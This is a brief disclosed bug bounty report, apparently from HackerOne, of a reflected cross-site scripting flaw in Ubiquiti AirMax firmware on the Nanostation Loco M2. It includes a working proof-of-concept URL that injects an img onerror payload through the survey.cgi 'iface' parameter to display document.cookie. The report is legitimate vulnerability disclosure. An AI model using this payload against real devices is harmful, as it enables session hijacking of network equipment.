Ubiquiti Inc. · Report #149287
Reflected Xss in AirMax [Nanostation Loco M2]
Validstatus
8upvotes
12 Dec 2016disclosed
How it was found
Dear James,
I've found a reflected xss in nanostation Loco M2.
just open this link and xss will execute. http://172.98.67.89:22057/survey.cgi?iface=%22%3E%3Cimg%20src=x%20onerror=prompt(document.cookie)%3E
{F103333}
Best Regard Shubham